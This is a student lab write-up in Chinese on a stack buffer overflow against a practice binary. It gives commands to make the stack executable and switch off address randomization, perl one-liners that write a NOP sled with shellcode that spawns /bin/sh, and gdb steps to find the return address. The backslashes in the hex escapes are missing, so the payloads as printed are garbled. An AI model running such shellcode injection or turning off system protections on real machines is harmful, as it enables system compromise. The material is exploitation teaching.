20155305《网络对抗》PC平台逆向破解(二)
shellcode注入
1、shellcode
shellcode是一段代码,溢出后,执行这段代码能开启系统shell。
2、构造方法
(1)nop+shellcode+retaddr(适用于缓冲区大的情况)
(2)retaddr+nop+shellcode(适用于缓冲区小的情况)
3、准备工作(安装execstack并修改设置)
- 安装execstack
apt-get install execstack
- 设置堆栈可执行
execstack -s pwn20155305
- 查询文件的堆栈是否可执行
execstack -q pwn20155305
- 关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space
- 查询地址随机化状态(2表示开启,0表示关闭),若是开启状态,则关闭地址随机化
more /proc/sys/kernel/randomize_va_space
4、运行并gdb调试
- 输入shellcode内容
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
运行pwn20155305
,输入命令(cat input_shellcode;cat) | ./pwn20155305
- 查询进程输入命令
ps -ef | grep pwn20155305
- 启动gdb调试这个进程
- 通过设置断点
disassemble foo
,来查看注入buf的内存地址并且break *0x080484ae
,在另外一个终端中按下回车,这就是前面为什么不能以x0a来结束 input_shellcode的原因。gdb中输入c,之后输入info r esp
(gdb) x/16x 0xffffd43c
看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd460
- 知道shellcode地址,所以修改为
perl -e 'print "A" x 32;print "x60xd4xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
查看shellcode转换进制内容xxd input_shellcode
,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155305